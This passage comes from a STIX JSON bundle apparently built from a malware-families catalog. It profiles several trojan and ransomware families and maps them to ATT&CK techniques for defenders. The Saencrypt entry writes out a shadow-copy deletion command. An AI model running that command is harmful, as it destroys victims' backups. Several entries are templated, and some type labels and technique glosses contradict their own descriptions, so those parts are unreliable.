      "name": "Rz0A4Oaeuqdi",
      "description": "Trojan:Win32/Rz0a4oaeuqdi (or similar auto-generated strings) represents the antivirus industry's response to highly polymorphic malware or Domain Generation Algorithms (DGA). Instead of a named family, this string is a generic, randomized identifier assigned by an AV engine to a threat that is rapidly shifting its signature to evade detection (`T1027`). This indicates the presence of a sophisticated dropper or a botnet agent actively communicating with shifting C2 infrastructure.<br><br><b>Understanding Polymorphic/DGA Identifiers</b><br>To an end-user, the file is simply blocked. For a SOC analyst, a detection with a randomized name like 'Rz0a4oaeuqdi' is a signal that static IOCs (like file hashes) will be nearly useless for hunting. The attacker is using automated tools to recompile the malware for every victim, or using DGA to contact thousands of different domains a day.<br><br><b>Execution and Polymorphic Mechanics</b><br>When executed, polymorphic threats unpack themselves dynamically in memory (`T1027.002`). They often inject their code into legitimate processes (like `svchost.exe`) (`T1055`) to hide their activity. If the threat utilizes DGA (`T1568.002`), it uses a mathematical algorithm to generate hundreds of potential C2 domain names. The malware attempts to connect to these domains until it finds one that the attacker has actually registered and activated for that day's operations, making IP/Domain blacklisting highly ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload the polymorphic dropper intends to deliver (ransomware, infostealers, etc.). Host-based IoCs must focus on behavior: EDR alerts for process injection, anomalous child process spawning, or rapid creation/deletion of temporary files. Network IoCs are characterized by the malware generating a massive volume of DNS requests for non-existent, randomly generated domains (NXDOMAIN responses), mixed with a few successful connections. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rz0A4Oaeuqdi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rz0a4oaeuqdi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eddf0ad1-92d7-5ffb-811c-3177eeb9c95c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ed44784-e741-51d5-b788-6e1a50bfdc90",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rz0A4Oaeuqdi exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5eff9126-274b-5b73-995d-98b5860a835f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ed44784-e741-51d5-b788-6e1a50bfdc90",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rz0A4Oaeuqdi exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4483573c-eafe-5706-a41e-ccb1f3ece4e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ed44784-e741-51d5-b788-6e1a50bfdc90",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rz0A4Oaeuqdi exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a5b28ef9-98a7-5028-b3ab-4a48cb56bd23",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rz0Auircb0Di",
      "description": "<h3>Executive Summary</h3>\n\"Rz0auircb0di\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The random, DGA-like (Domain Generation Algorithm) naming convention strongly suggests that this malware was generated dynamically by an automated exploit kit or malware builder to evade static antivirus signatures through constant polymorphic mutation.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these randomized naming conventions is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker (like Emotet or Trickbot).\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized (using tools like VMProtect or custom packers). This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Dynamic Infrastructure:</strong> The malware often relies on a Domain Generation Algorithm (DGA) to rapidly cycle through thousands of potential command-and-control (C2) domains, making IP/Domain blacklisting at the firewall ineffective.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, randomly named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior (e.g., an unknown executable attempting to inject code into `svchost.exe`).</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed (such as rootkit-like persistence), attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Rz0auircb0di",
        "Malware.Obfuscated.DGA",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rz0Auircb0Di",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rz0auircb0di"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5dc7363f-dc74-512a-a4af-148d8b8ea56b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5b28ef9-98a7-5028-b3ab-4a48cb56bd23",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rz0Auircb0Di exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47e4a353-e34e-5dfe-8206-3672c31b68b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5b28ef9-98a7-5028-b3ab-4a48cb56bd23",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rz0Auircb0Di exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--488b79ff-0bee-56f6-89dd-88babc517b2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5b28ef9-98a7-5028-b3ab-4a48cb56bd23",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rz0Auircb0Di exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77c75753-8bb0-5ea4-b0c9-4767f9643b05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5b28ef9-98a7-5028-b3ab-4a48cb56bd23",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rz0Auircb0Di exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e824ed79-ff3b-5852-8a17-fd857f9d8644",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rzwaagpbkfii",
      "description": "Trojan:Win32/Rzwaagpbkfii (or similar auto-generated strings) represents the antivirus industry's response to highly polymorphic malware or Domain Generation Algorithms (DGA). Instead of a named family, this string is a generic, randomized identifier assigned by an AV engine to a threat that is rapidly shifting its signature to evade detection (`T1027`). This indicates the presence of a sophisticated dropper or a botnet agent actively communicating with shifting C2 infrastructure.<br><br><b>Understanding Polymorphic/DGA Identifiers</b><br>To an end-user, the file is simply blocked. For a SOC analyst, a detection with a randomized name like 'Rzwaagpbkfii' is a signal that static IOCs (like file hashes) will be nearly useless for hunting. The attacker is using automated tools to recompile the malware for every victim, or using DGA to contact thousands of different domains a day.<br><br><b>Execution and Polymorphic Mechanics</b><br>When executed, polymorphic threats unpack themselves dynamically in memory (`T1027.002`). They often inject their code into legitimate processes (like `svchost.exe`) (`T1055`) to hide their activity. If the threat utilizes DGA (`T1568.002`), it uses a mathematical algorithm to generate hundreds of potential C2 domain names (e.g., `ajkf83nd.com`, `93kmdla.net`). The malware attempts to connect to these domains until it finds one that the attacker has actually registered and activated for that day's operations, making IP/Domain blacklisting highly ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload the polymorphic dropper intends to deliver (ransomware, infostealers, etc.). Host-based IoCs must focus on behavior: EDR alerts for process injection, anomalous child process spawning, or rapid creation/deletion of temporary files. Network IoCs are characterized by the malware generating a massive volume of DNS requests for non-existent, randomly generated domains (NXDOMAIN responses), mixed with a few successful connections. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rzwaagpbkfii",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rzwaagpbkfii"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14065e28-f56f-523f-a5a5-2d20acccd061",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e824ed79-ff3b-5852-8a17-fd857f9d8644",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rzwaagpbkfii exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfad5c91-91d6-5bc4-942e-ad6bff1808ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e824ed79-ff3b-5852-8a17-fd857f9d8644",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rzwaagpbkfii exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ba7493c-064f-595b-a1db-e5def39f8d81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e824ed79-ff3b-5852-8a17-fd857f9d8644",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rzwaagpbkfii exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eb5638cd-0682-5840-a4ca-cb9bebd56f6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sadenav",
      "description": "Trojan:Win32/Sadenav is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Sadenav</b><br>To an end-user, a Sadenav infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Sadenav is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Sadenav is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Sadenav frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Sadenav reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sadenav",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sadenav"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8845961f-77e3-5b48-a263-487363282df8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb5638cd-0682-5840-a4ca-cb9bebd56f6e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sadenav exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48ec2886-3677-5be6-a802-6f26e7a4bbdf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb5638cd-0682-5840-a4ca-cb9bebd56f6e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sadenav exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec3afa33-b1d3-5ef8-bbd5-f8f03840183e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb5638cd-0682-5840-a4ca-cb9bebd56f6e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sadenav exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15c51aa0-7267-5b0f-a963-4f9490795a39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb5638cd-0682-5840-a4ca-cb9bebd56f6e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sadenav exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47fbe542-ebe1-5b97-8262-fea745f1b78c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb5638cd-0682-5840-a4ca-cb9bebd56f6e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sadenav exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2055f67e-d43e-5a74-b886-97d95cd93fce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sadredi",
      "description": "<h3>Executive Summary</h3>\nSadredi is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSadredi is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Sadredi operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Sadredi ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Sadredi receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Sadredi infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Sadredi executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Sadredi frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Sadredi",
        "Downloader.Sadredi",
        "Win32/Sadredi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sadredi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sadredi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d95d4ef-897e-5da6-8abb-4685398f3a2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2055f67e-d43e-5a74-b886-97d95cd93fce",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sadredi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81c9dbf6-b913-5833-8448-7b27e043d295",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2055f67e-d43e-5a74-b886-97d95cd93fce",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sadredi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--658caf00-fdd9-5f60-8702-683f60b8affb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2055f67e-d43e-5a74-b886-97d95cd93fce",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sadredi exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cf26ce4a-e23b-5760-91e8-81bf6dd425b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Saencrypt",
      "description": "<h3>Executive Summary</h3>\nSAEncrypt is a variant of destructive Ransomware designed to infiltrate corporate networks, exfiltrate sensitive data (in double-extortion schemes), and rapidly encrypt critical file systems. Upon successful encryption, the malware renders the victim's data completely inaccessible and demands a cryptocurrency payment in exchange for the decryption key.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSAEncrypt typically gains access to a network through compromised Remote Desktop Protocol (RDP) connections (via brute-forcing or purchased credentials), malicious phishing attachments, or by exploiting public-facing vulnerabilities on edge devices (like VPN gateways or firewalls).\n\nOnce inside the network, SAEncrypt executes a devastating attack chain:\n<ul>\n<li><strong>Lateral Movement and Privilege Escalation:</strong> Before encrypting the local machine, the attackers often manually deploy tools like Cobalt Strike or Mimikatz to dump credentials and move laterally, aiming to compromise the Domain Controller to push the ransomware globally.</li>\n<li><strong>Defense Evasion:</strong> The malware actively attempts to terminate endpoint security services, disable Windows Defender, and delete Volume Shadow Copies (`vssadmin.exe Delete Shadows /All /Quiet`) to prevent easy data restoration.</li>\n<li><strong>Rapid Encryption:</strong> It utilizes strong, military-grade cryptographic algorithms (e.g., AES paired with RSA) to encrypt user files, databases, and network shares. The encrypted files are typically appended with a specific extension (e.g., `.saencrypt` or `.encrypted`), and a ransom note is dropped into every affected directory.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn SAEncrypt infection is a catastrophic security incident that immediately halts business operations. It poses an existential threat to the organization through severe data loss, extended downtime, potential regulatory fines, and reputational damage.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Segmentation:</strong> Do not simply turn off the machines, as this destroys volatile memory forensics. Instantly sever the network connection of all infected machines (and the Domain Controller if compromised) from the internet and the rest of the LAN to halt lateral movement and data exfiltration.</li>\n<li><strong>Engage Incident Response:</strong> Immediately engage specialized third-party Incident Response and legal counsel. Do not attempt to negotiate with the threat actors without professional guidance.</li>\n<li><strong>Eradication and Recovery:</strong> Eradicating ransomware requires a complete infrastructure rebuild. All affected machines must be wiped to bare metal and rebuilt from known-good, offline backups. All enterprise credentials, especially service accounts and Domain Admins, must be rotated globally.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.SAEncrypt",
        "Trojan-Ransom.Win32.SAEncrypt",
        "Cryptolocker.SA"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Saencrypt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/saencrypt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd2c4114-fc84-55cd-a999-24716f6bafbf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf26ce4a-e23b-5760-91e8-81bf6dd425b5",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Saencrypt exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41d1eb0d-938b-5521-980e-8eded515e618",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf26ce4a-e23b-5760-91e8-81bf6dd425b5",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Saencrypt exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64f506ad-deb7-5a06-988c-febb8e9b5745",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf26ce4a-e23b-5760-91e8-81bf6dd425b5",
      "target_ref": "attack-pattern--31d6d05d-adfe-5580-9365-20731a0168a5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Saencrypt exhibits technique T1012 (Query Registry (Identifying mounted drives and network shares to encrypt))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22eac3ba-5f69-58d3-9dde-5bf215ac4802",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf26ce4a-e23b-5760-91e8-81bf6dd425b5",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Saencrypt exhibits technique T1078 (Valid Accounts (The goal of the attack))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b46cc803-f185-5278-95c9-d978ebb529d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Safebreas",
      "description": "<h3>Executive Summary</h3>\nSafebreas is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSafebreas is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Safebreas operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Safebreas ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Safebreas receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Safebreas infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> 